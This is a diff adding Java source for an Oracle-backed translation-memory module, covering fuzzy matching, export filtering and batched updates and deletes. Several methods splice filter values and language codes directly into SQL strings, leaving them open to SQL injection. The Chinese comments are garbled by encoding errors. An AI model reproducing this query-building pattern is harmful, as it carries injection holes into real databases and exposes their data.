TranslationMemoryTools.getInnerTagContent(fullText); + String textDataSql = dbConfig.getOperateDbSQL("fuzzySearch"); + textDataSql = textDataSql.replace("__WHERE__", bf.toString()); + Statement stm = null; + ResultSet rs = null; + Statement tmpStm = null; + try { + stm = conn.createStatement(); + tmpStm = conn.createStatement(); + rs = stm.executeQuery(textDataSql); + // SELECT TPKID ,GROUPID, PURE, CONTENT, PRECONTEXT, NEXTCONTEXT FROM TEXTDATA WHERE TPKID IN (__SET__) + String targetSql = dbConfig.getOperateDbSQL("fuzzySearch-target").replace("__LANG__", tgtLang); + String dbName = getMetaData().getDatabaseName(); + while (rs.next()) { + String _pureText = rs.getString(3); + String _fullText = rs.getString(4); + int similarity = 0; + if (caseSensitive) { + similarity = similarity(pureText, _pureText); + } else { + similarity = similarity(pureText.toLowerCase(), _pureText.toLowerCase()); + } + + String _tag = TranslationMemoryTools.getInnerTagContent(_fullText); + if (!isIngoreTarget && !tag.equals(_tag)) { + // 标记内容ä¸ç›¸ç­‰ï¼Œåˆ™æ‰§è¡Œç½šåˆ† + similarity -= tagPelanty; + } + + if (similarity < minSimilarity) { + continue; + } + int tuId = rs.getInt(2); + String targetSqlTemp = targetSql.replace("__GROUPID__", tuId + ""); + // PURE, CONTENT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE ,PROJECTREF + ResultSet rs1 = null; + try { + rs1 = tmpStm.executeQuery(targetSqlTemp); + if (rs1.next()) { + TmxSegement source = new TmxSegement(_pureText, _fullText, srcLang); + source.setDbPk(rs.getInt(1)); + _pureText = rs1.getString(2); + _fullText = rs1.getString(3); + if (_pureText == null || _pureText.equals("") || _fullText == null || _fullText.equals("")) { + continue; + } + TmxSegement target = new TmxSegement(_pureText, _fullText, tgtLang); + target.setDbPk(rs1.getInt(1)); + TmxTU tu = new TmxTU(source, target); + FuzzySearchResult searchRs = new FuzzySearchResult(tu); + if (searchResults.contains(searchRs)) { + continue; + } + + String creationId = rs1.getString(4); + creationId = creationId == null ? "" : creationId; + String creationDate = ""; + Timestamp tempCdate = rs1.getTimestamp(5); + if (tempCdate != null) { + creationDate = DateUtils.formatToUTC(tempCdate.getTime()); + } + String changeid = rs1.getString(6); + changeid = changeid == null ? "" : changeid; + String changeDate = ""; + Timestamp tempChangeDate = rs1.getTimestamp(7); + if (tempChangeDate != null) { + changeDate = DateUtils.formatToUTC(tempChangeDate.getTime()); + } + String projectRef = rs1.getString(8); + projectRef = projectRef == null ? "" : projectRef; + tu.setCreationDate(creationDate); + tu.setCreationUser(creationId); + tu.setChangeDate(changeDate); + tu.setChangeUser(changeid); + List attrs = getTuMprops(tuId, "TU"); + tu.setProps(attrs); + + String preContext = rs.getString(5); + String nextContext = rs.getString(6); + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, preContext); + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, nextContext); + if (similarity == 100 && CommonFunction.checkEdition("U")) { + preContext = preContext == null ? "" : preContext; + nextContext = nextContext == null ? "" : nextContext; + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + similarity = 101; + } + } + } + searchRs.setDbName(dbName); + searchRs.setSimilarity(similarity); + searchRs.setDbOp(this); + searchRs.getTu().setTmId(tuId); + searchResults.add(searchRs); + } + } finally { + if (rs1 != null) { + rs1.close(); + } + } + } + } finally { + if (rs != null) { + rs.close(); + } + if (stm != null) { + stm.close(); + } + if (tmpStm != null) { + tmpStm.close(); + } + } + } + + @Override + public void translationUnitAnalysis(String pureText, String fullText, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, + String nextHash, boolean isIngoreTarget, TranslationUnitAnalysisResults analysisResults, int tagPelanty) + throws SQLException { + + int[] ngrams = generateNgrams(srcLang, pureText); + int size = ngrams.length; + if (size == 0) { + return; + } + List tpkids = getCandidatesTextDataPks4Oracle(srcLang, minSimilarity, ngrams); + + // 过虑拆分æ¡ä»¶,解决Oracle中where xx in (å‚æ•°) å‚æ•°ä¸è¶Šè¿‡1000个 + StringBuffer bf = new StringBuffer(); + List tmpTpkids = new ArrayList(); + for (int i = 0; i < tpkids.size(); i++) { + String tpkid = tpkids.get(i); + bf.append(","); + bf.append(tpkid); + if ((i + 1) % 100 == 0) { + tmpTpkids.add(bf.toString().substring(1)); + bf = new StringBuffer(); + } + } + if (bf.toString().equals("")) { + return; + } + tmpTpkids.add(bf.toString().substring(1)); + bf = new StringBuffer(); + bf.append("TPKID IN (" + tmpTpkids.get(0) + ")"); + for (int i = 1; i < tmpTpkids.size(); i++) { + bf.append(" OR TPKID IN (" + tmpTpkids.get(i) + ")"); + } + + String tag = TranslationMemoryTools.getInnerTagContent(fullText); + String textDataSql = dbConfig.getOperateDbSQL("fuzzySearch"); + textDataSql = textDataSql.replace("__WHERE__", bf.toString()); + Statement stm = null; + ResultSet rs = null; + Statement tmpStm = null; + try { + stm = conn.createStatement(); + tmpStm = conn.createStatement(); + rs = stm.executeQuery(textDataSql); + // SELECT GROUPID, PURE, CONTENT, PRECONTEXT, NEXTCONTEXT FROM TEXTDATA WHERE TPKID IN (__SET__) + String dbName = getMetaData().getDatabaseName(); + while (rs.next()) { + String _pureText = rs.getString(3); + String _fullText = rs.getString(4); + int similarity = 0; + if (caseSensitive) { + similarity = similarity(pureText, _pureText); + } else { + similarity = similarity(pureText.toLowerCase(), _pureText.toLowerCase()); + } + + String _tag = TranslationMemoryTools.getInnerTagContent(_fullText); + if (!isIngoreTarget && !tag.equals(_tag)) { + // 标记内容ä¸ç›¸ç­‰ï¼Œåˆ™æ‰§è¡Œç½šåˆ† + similarity -= tagPelanty; + } + + if (similarity < minSimilarity) { + continue; + } + + if (similarity == 100 && CommonFunction.checkEdition("U")) { + String preContext = rs.getString(5); + String nextContext = rs.getString(6); + preContext = preContext == null ? "" : preContext; + nextContext = nextContext == null ? "" : nextContext; + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + similarity = 101; + } + } + } + + TranslationUnitAnalysisResult r = new TranslationUnitAnalysisResult(similarity, dbName); + analysisResults.add(r); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stm != null) { + stm.close(); + } + if (tmpStm != null) { + tmpStm.close(); + } + } + + } + + @Override + public String generationExportTMXFilter(String tableName, ExportFilterBean filterBean) { + String connector = filterBean.getFilterConnector(); + List filterOption = filterBean.getFilterOption(); + Map tuMatch = Utils.getFilterMatchMTU("MTU"); + Map mNoteDateMatch = Utils.getFilterMatchMTU("MNOTE"); + Map textDateMatch = Utils.getFilterMatchMTU("TEXTDATA"); + + StringBuffer bf = new StringBuffer(); + for (int i = 0; i < filterOption.size(); i++) { + ExportFilterComponentBean bean = filterOption.get(i); + + Character fieldType = null; + String field = bean.getMatchDbField(); + String op = bean.getExpressionMatchDb(); + String value = bean.getFilterVlaue(); + if ("MTU".equals(tableName)) { // 添加 "A.","B.","C."请å‚考查询SQL + fieldType = tuMatch.get(field); + field = "A." + field; + } else if ("MNOTE".equals(tableName)) { + fieldType = mNoteDateMatch.get(field); + field = "B." + field; + } else if ("TEXTDATA".equals(tableName)) { + fieldType = textDateMatch.get(field); + field = "C." + field; + } + if (fieldType == null) { + continue; + } + bf.append(field); + bf.append(" " + op + " "); + + switch (fieldType) { + case '1': // 文本内容,包å«/ä¸åŒ…å«å†…容 + if (op.equals("like") || op.equals("not like")) { + bf.append(" '%" + value + "%' "); + } else { + bf.append("' " + value + "' "); + } + bf.append(connector + " "); + break; + case '2': // 日期类型 + bf.append(" to_date('" + value + "','yyyy-mm-dd hh24:mi:ss') "); + bf.append(connector + " "); + break; + default: + return ""; + } + } + String result = bf.toString(); + if (result.equals("")) { + return result; + } + return result.substring(0, result.lastIndexOf(connector)); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#replaceTMOrTBConditionSql(java.lang.String, java.lang.String, boolean, + * boolean, boolean, java.lang.String, java.lang.String[]) + */ + public String replaceTMOrTBConditionSql(String sql, String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String srcLang, String[] arrFilter) { + strSearch = strSearch == null ? "" : strSearch; + StringBuffer strCondition = new StringBuffer(); + if (srcLang != null) { + strCondition.append(" AND A.LANG='" + srcLang + "'"); + } else { + return null; + } + if (isApplyRegular) { + // ‘c’ 说明在进行匹é…时区分大å°å†™ï¼ˆç¼ºçœå€¼ï¼‰ï¼› + // 'i' 说明在进行匹é…æ—¶ä¸åŒºåˆ†å¤§å°å†™ï¼› + strCondition.append(" AND REGEXP_LIKE(" + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + ",'" + + TextUtil.replaceRegextSqlWithMOP(strSearch) + "','" + (isCaseSensitive ? "c" : "i") + "')"); + } else if (isCaseSensitive) { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithOracle(strSearch) + "%'"); + } else { + // Oracle 默认区分大å°å†™ï¼Œä½¿ç”¨ upper 函数将其转æ¢æˆå¤§å†™æŸ¥è¯¢ + strCondition.append(" AND upper(" + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + ") LIKE '%" + + TextUtil.cleanStringByLikeWithOracle(strSearch).toUpperCase() + "%'"); + } + if (arrFilter != null) { + StringBuffer strFilter = new StringBuffer(arrFilter[1] + " '%" + + TextUtil.cleanStringByLikeWithOracle(arrFilter[2]).toUpperCase() + "%'"); + // 过滤æ¡ä»¶è¦åŠ åœ¨æºè¯­è¨€ä¸­ + if (arrFilter[0].equalsIgnoreCase(srcLang)) { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + strFilter.insert(0, " AND upper(A.PURE) "); + strCondition.append(strFilter.toString()); + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", " ," + getMetaData().getDatabaseName() + + "_TEXTDATA B "); + strCondition.append(" AND A.GROUPID=B.GROUPID AND B.TYPE='M' AND B.LANG='" + arrFilter[0] + "'"); + strFilter.insert(0, " AND upper(B.PURE) "); + strCondition.append(strFilter.toString()); + } + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + } + sql = Utils.replaceString(sql, "__CONDITION__", strCondition.toString()); + return sql; + } + + @Override + public Vector> findAllTermsByText(String srcPureText, String srcLang, String tarLang) + throws SQLException { + Vector> terms = new Vector>(); + // 构建SQL + String getTermSql = dbConfig.getOperateDbSQL("getTerm"); + getTermSql.replaceAll("__DATABASE_NAME__", metaData.getDatabaseName()); + + PreparedStatement stmt = conn.prepareStatement(getTermSql); + + stmt.setString(1, tarLang); + stmt.setString(2, srcLang + "," + tarLang); + stmt.setString(3, tarLang + "," + srcLang); + stmt.setString(4, srcLang); + stmt.setString(5, srcPureText.toLowerCase()); + + /* + * * SELECT A.TPKID, A.PURE, B.PURE FROM __DATABASE_NAME___TEXTDATA A LEFT JOIN __DATABASE_NAME___TEXTDATA B ON + * A.GROUPID=B.GROUPID AND B.LANG=? AND B.TYPE='B' WHERE A.TYPE='B' AND A.LANG=? AND INSTR(?,LOWER(A.PURE)) > 0 + * AND B.PURE IS NOT NULL + */ + + ResultSet rs = stmt.executeQuery(); + while (rs.next()) { + String tuid = rs.getString(1); + String srcWord = rs.getString(2); + String tgtWord = rs.getString(3); + String property = rs.getString(4); + Hashtable tu = new Hashtable(); + tu.put("tuid", tuid); + tu.put("srcLang", srcLang); + tu.put("srcWord", srcWord); + tu.put("tgtLang", tarLang); + tu.put("tgtWord", tgtWord); + tu.put("property", property == null ? "" : property); + terms.add(tu); + } + rs.close(); + stmt.close(); + + return terms; + } + + @Override + /** + * + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#updateTUVContent(int, java.lang.String, java.lang.String, java.lang.String) + */ + public void updateTUVContent(int tuvId, String hashCode, String pureText, String content) throws SQLException { + String updateTUVContent = dbConfig.getOperateDbSQL("update-tuvcontent"); + CallableStatement prepareCall = conn.prepareCall(updateTUVContent); + OracleCallableStatement oCallSt = (OracleCallableStatement) prepareCall; + oCallSt.setString(1, hashCode); + oCallSt.setStringForClob(2, pureText); + oCallSt.setStringForClob(3, content); + oCallSt.setInt(4, tuvId); + oCallSt.executeUpdate(); + oCallSt.close(); + } + + /** + * 删除TU表 + * @param tupkids + * ; + * @throws SQLException + */ + public void deleteTUs(List tupkids) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteMtuSQL = dbConfig.getOperateDbSQL("delete-mtu-byid-use-in"); + List> list = groupIds(tupkids); + for (List t : list) { + deleteMtuSQL = deleteMtuSQL.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteMtuSQL); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + } + + public void deleteExValues(List tupkids, String parentName) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteTuExtra = dbConfig.getOperateDbSQL("delete-mextra-byid-use-in"); + List> list = groupIds(tupkids); + for (List t : list) { + deleteTuExtra = deleteTuExtra.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuExtra); + prepareStatement.setString(1, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + } + + /** + * 刪除NOTE表 + * @param tupkid + * ; + * @throws SQLException + */ + public void deleteNotes(List tupkids, String parentName) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteTuNoteSQL = dbConfig.getOperateDbSQL("delete-tunote-byid-use-in"); + List> list = groupIds(tupkids); + for (List t : list) { + deleteTuNoteSQL = deleteTuNoteSQL.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuNoteSQL); + prepareStatement.setString(1, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + } + + /** + * 删除prop表 + * @param parentId + * @param parentName + * @throws SQLException + * ; + */ + public void deleteProps(List tupkids, String parentName) throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return; + } + String deleteTuPropSQL = dbConfig.getOperateDbSQL("delete-tumprop-byid-use-in"); + List> list = groupIds(tupkids); + for (List t : list) { + deleteTuPropSQL = deleteTuPropSQL.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteTuPropSQL); + prepareStatement.setString(1, parentName); + prepareStatement.executeUpdate(); + if (null != prepareStatement) { + prepareStatement.close(); + } + } + } + + protected void deleteMatixLang(List tuvIds, String lCode) throws SQLException { + if (tuvIds.isEmpty()) { + return; + } + String langCode = Utils.langToCode(lCode).toUpperCase(); + String deleteSql = dbConfig.getOperateDbSQL("delete-matrix_lang-use-in"); + List> list = groupIds(tuvIds); + for (List t : list) { + deleteSql = deleteSql.replaceAll("__LANG__", langCode); + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + } + + protected void deleteTuv(List tuvIds) throws SQLException { + if (tuvIds.isEmpty()) { + return; + } + String deleteSql = dbConfig.getOperateDbSQL("delete-tuv-by-id-use-in"); + List> list = groupIds(tuvIds); + for (List t : list) { + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.executeUpdate(); + prepareStatement.close(); + } + } + + /** + * 由于oracle对INçš„å‚æ•°åªèƒ½æ”¯æŒåˆ°1000个 + * @param tupkids + * @return ; + */ + private List> groupIds(List tupkids) { + List> rs = new ArrayList>(); + int startIndex = 0; + int endIndex = 1000; + int size = tupkids.size(); + if (endIndex > size) { + rs.add(tupkids); + return rs; + } + while (size >= endIndex) { + rs.add(tupkids.subList(startIndex, endIndex)); + startIndex = endIndex; + endIndex += 1000; + } + if (startIndex < size) { + rs.add(tupkids.subList(startIndex, size)); + } + return rs; + } + + public boolean updateTuAttrByColumnAndIds(String colummName, String value, List tupkids) + throws SQLException { + if (null == tupkids || tupkids.isEmpty()) { + return false; + } + String updateSql = dbConfig.getOperateDbSQL("update-tu-attr-by-column-name-ids"); + updateSql = updateSql.replaceAll("_COLUMN_NAME_", colummName); + List> list = groupIds(tupkids); + boolean flag = false; + for (List t : list) { + updateSql = updateSql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + if("CREATIONDATE".equals(colummName) || "CHANGEDATE".equals(colummName)){ + prepareStatement.setTimestamp(1, DateUtils.getTimestampFromUTC(value)); + } else { + prepareStatement.setString(1, value); + } + + int executeUpdate = prepareStatement.executeUpdate(); + prepareStatement.close(); + if (executeUpdate > 0) { + flag = true; + } + } + return flag; + } + + public boolean updateTuAttrByColumn(String colummName, String value) throws SQLException { + String updateSql = dbConfig.getOperateDbSQL("update-tu-attr-by-column-name"); + updateSql = updateSql.replaceAll("_COLUMN_NAME_", colummName); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + if("CREATIONDATE".equals(colummName) || "CHANGEDATE".equals(colummName)){ + prepareStatement.setTimestamp(1, DateUtils.getTimestampFromUTC(value)); + } else { + prepareStatement.setString(1, value); + } + int executeUpdate = prepareStatement.executeUpdate(); + prepareStatement.close(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + public int addMProp(String parentName, Integer parentId, String pName, String content) throws SQLException { + int id; + CallableStatement prepareCall = null; + try { + // sql :INSERT INTO MPROP (PARENTNAME ,PARENTID,PNAME ,CONTENT) VALUES(?,?,?,?) + String updateStmt = dbConfig.getOperateDbSQL("add-mprop-new"); + prepareCall = conn.prepareCall(updateStmt); + prepareCall.setString(1, parentName); + prepareCall.setInt(2, parentId); + prepareCall.setString(3, pName); + prepareCall.setString(4, content); + prepareCall.registerOutParameter(5, Types.INTEGER); + prepareCall.execute(); + id = -1; + id = prepareCall.getInt(5); + } finally { + if (null != prepareCall) { + prepareCall.close(); + } + } + return id; + } + + /** + * ä¾æ®ID值批é‡æ›´æ–°æ•°æ®åº“ + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @param ids + * @return + * @throws SQLException + * ; + */ + public boolean updatePropByIds(String oldPname, String oldContent, String newPname, String newContent, + List ids) throws SQLException { + if (null == ids || ids.isEmpty()) { + return false; + } + String updateSql = dbConfig.getOperateDbSQL("update-mprop-by-content-ids"); + List> list = groupIds(ids); + boolean flag = false; + for (List t : list) { + updateSql = updateSql.replaceAll("_SET_", converList2SetString(t)); + OracleCallableStatement prepareCall = (OracleCallableStatement) conn.prepareCall(updateSql); + prepareCall.setString(1, newPname); + prepareCall.setStringForClob(2, newContent); + prepareCall.setString(3, oldPname); + prepareCall.setString(4, oldContent); + int executeUpdate = prepareCall.executeUpdate(); + if (executeUpdate > 0) { + flag = true; + } + prepareCall.close(); + } + + return flag; + + } + + /** + * 批é‡æ›´æ–°æ•´ä¸ªæ•°æ®åº“ + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @return + * @throws SQLException + * ; + */ + public boolean updateAllProp(String oldPname, String oldContent, String newPname, String newContent) + throws SQLException { + String updateSql = dbConfig.getOperateDbSQL("update-mprop-by-content"); + OracleCallableStatement prepareCall = (OracleCallableStatement) conn.prepareCall(updateSql); + prepareCall.setString(1, newPname); + prepareCall.setStringForClob(2, newContent); + prepareCall.setString(3, oldPname); + prepareCall.setString(4, oldContent); + int executeUpdate = prepareCall.executeUpdate(); + prepareCall.close(); + if (executeUpdate > 0) { + return true; + } + return false; + } + + /** + * ä¾æ®ID值删除数æ®åº“内容 + * @param oldPname + * @param oldContent + * @param newPname + * @param newContent + * @param ids + * @return + * @throws SQLException + * ; + */ + public boolean deletePropByIds(String oldPname, String oldContent, List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + String deleteSql = dbConfig.getOperateDbSQL("delete-mprop-content-ids"); + List> list = groupIds(ids); + boolean flag = false; + for (List t : list) { + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.setString(1, oldPname); + prepareStatement.setString(2, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + prepareStatement.close(); + if (executeUpdate > 0) { + flag = true; + } + } + return flag; + } + + public int addExAttribute(String parentName, Integer parentId, String attName, String attriValue) + throws SQLException { + int id; + CallableStatement prepareCall = null; + try { + // sql :INSERT INTO __DATABASE_NAME___MEXTRA (MEPKID,PARENTNAME ,PARENTID ,NTYPE,NNAME,CONTENT) + // VALUES(__DATABASE_NAME___SEQ.NEXTVAL,?,?,'A',?,?); + // RETURNING MEPKID INTO ?; + String updateStmt = dbConfig.getOperateDbSQL("add-attribute-new"); + prepareCall = conn.prepareCall(updateStmt); + prepareCall.setString(1, parentName); + prepareCall.setInt(2, parentId); + prepareCall.setString(3, attName); + prepareCall.setString(4, attriValue); + prepareCall.registerOutParameter(5, Types.INTEGER); + prepareCall.execute(); + id = -1; + id = prepareCall.getInt(5); + } finally { + if (null != prepareCall) { + prepareCall.close(); + } + } + return id; + } + + public boolean updateExAttribute(int parentId, String parentName, String name, String newvalue) throws SQLException { + // sql : UPDATE MEXTRA SET CONTENT = ? WHERE PARENTID = ? AND NNAME = ? AND PARENTNAME=? + if ("".equals(newvalue)) { + newvalue = " "; + } + Object[] params = new Object[] { newvalue, parentId, name, parentName }; + return update("update-ex-attribute-value", params); + } + + public List getTuvIdsByLangsAndTuids(List langs, List tuids) throws SQLException { + List results = new ArrayList(); + // sql: SELECT TPKID FROM TEXTDATA WHERE LANG IN (_LANG_SET_) AND GROUPID IN (_SET_) + if (tuids == null || tuids.isEmpty()) { + return results; + } + String sql = dbConfig.getOperateDbSQL("get-tpkid-by-langs-groupids"); + sql = sql.replaceAll("_LANG_SET_", conver2SetString(langs)); + List> list = groupIds(tuids); + for (List t : list) { + + sql = sql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement psmt = null; + ResultSet rs = null; + try { + psmt = conn.prepareStatement(sql); + rs = psmt.executeQuery(); + while (rs.next()) { + results.add(rs.getInt(1)); + } + } finally { + if (rs != null) { + rs.close(); + } + if (psmt != null) { + psmt.close(); + } + } + } + return results; + } + + public List getAttrIdsByName(String name, List tuvIds) throws SQLException { + List ids = new ArrayList(); + if (tuvIds == null || tuvIds.isEmpty()) { + return ids; + } + // SQL :SELECT MEPKID FROM __DATABASE_NAME___MEXTRA WHERE NNAME = ? AND NTYPE =? AND PARENTNAME=? AND PARENTID + // =? + String operateDbSQL = dbConfig.getOperateDbSQL("get-mepkids-by-name"); + PreparedStatement prepareStatement = conn.prepareStatement(operateDbSQL); + for (int id : tuvIds) { + prepareStatement.setString(1, name); + prepareStatement.setString(2, "A"); + prepareStatement.setString(3, "TUV"); + prepareStatement.setInt(4, id); + ResultSet executeQuery = prepareStatement.executeQuery(); + boolean next = executeQuery.next(); + if (next) { + ids.add(executeQuery.getInt(1)); + } + executeQuery.close(); + } + prepareStatement.close(); + return ids; + } + + + @Override + public boolean deleteExAttributes(List ids, String name, String content) throws SQLException { + + if (ids.isEmpty()) { + return false; + } + if ("".equals(content) || null == content) { + content = " "; + } + String deleteSql = dbConfig.getOperateDbSQL("update-ex-attibute-by-ids"); + List> list = groupIds(ids); + boolean flag = false; + for (List t : list) { + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.setString(1, name); + prepareStatement.setString(2, content); + int executeUpdate = prepareStatement.executeUpdate(); + prepareStatement.close(); + if (executeUpdate > 0) { + flag = true; + } + } + + return flag; + } + + public boolean addExAttributes(String parentName, List parentIds, String attName, String attriValue, + IProgressMonitor monitor) throws SQLException { + if ("".equals(attriValue) || null == attriValue) { + attriValue = " "; + } + return super.addExAttributes(parentName, parentIds, attName, attriValue, monitor); + } + + public int addMNote(String parentName, Integer parentId, String content, String enconding, String lang) + throws SQLException { + + int id; + CallableStatement prepareCall = null; + try { + // sql : INSERT INTO MNOTE (PARENTNAME,PARENTID,CONTENT,ENCODING,LANG) VALUES(?,?,?,?,?) + String updateStmt = dbConfig.getOperateDbSQL("add-mnote-new"); + prepareCall = conn.prepareCall(updateStmt); + prepareCall.setString(1, parentName); + prepareCall.setInt(2, parentId); + prepareCall.setString(3, content); + prepareCall.setString(4, enconding); + prepareCall.setString(5, lang); + prepareCall.registerOutParameter(6, Types.INTEGER); + prepareCall.execute(); + id = -1; + id = prepareCall.getInt(6); + } finally { + if (null != prepareCall) { + prepareCall.close(); + } + } + return id; + } + + public boolean updateNotesByIds(String oldContent, String newContent, List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + // sql :UPDATE MNOTE SET CONTENT = ? WHERE CONTENT = ? AND PARENTID IN (_SET_) + String updateSql = dbConfig.getOperateDbSQL("update-mnote-by-content-ids"); + List> list = groupIds(ids); + boolean flag = false; + for (List t : list) { + updateSql = updateSql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(updateSql); + prepareStatement.setString(1, newContent); + prepareStatement.setString(2, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + flag = true; + } + } + + return flag; + + } + + public boolean deleteNotesByIds(String oldContent, List ids) throws SQLException { + if (ids.isEmpty()) { + return false; + } + // sql :DELETE FROM MNOTE WHERE CONTENT = ? AND PARENTID IN(_SET_) + String deleteSql = dbConfig.getOperateDbSQL("delete-mnote-by-content-ids"); + List> list = groupIds(ids); + boolean flag = false; + for (List t : list) { + deleteSql = deleteSql.replaceAll("_SET_", converList2SetString(t)); + PreparedStatement prepareStatement = conn.prepareStatement(deleteSql); + prepareStatement.setString(1, oldContent); + int executeUpdate = prepareStatement.executeUpdate(); + if (executeUpdate > 0) { + flag = true; + } + } + + return flag; + } + + @Override + public boolean isReadOnly() { + String dbName = metaData.getDatabaseName(); + String sql1 = "insert into "+dbName+"_LANG values('test')"; + String sql2 = "update "+dbName+"_LANG set langcode='test' where langcode='test'"; + Statement stm = null; + try { + beginTransaction(); + stm = conn.createStatement(); + stm.executeUpdate(sql1); + stm.executeUpdate(sql2); + } catch (SQLException e) { + return true; + }finally{ + try { + rollBack(); + if(stm != null){ + stm.close(); + } + } catch (SQLException e) { + e.printStackTrace(); + } + } + + return false; + } +} diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/Messages.java b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/Messages.java new file mode 100644 index 0000000..29530fa --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.oracle.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.oracle.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message.properties b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message.properties new file mode 100644 index 0000000..ad4841c --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message.properties @@ -0,0 +1 @@ +oracle.OperateDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message_en.properties b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message_en.properties new file mode 100644 index 0000000..69e992f --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/resource/message_en.properties @@ -0,0 +1 @@ +oracle.OperateDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 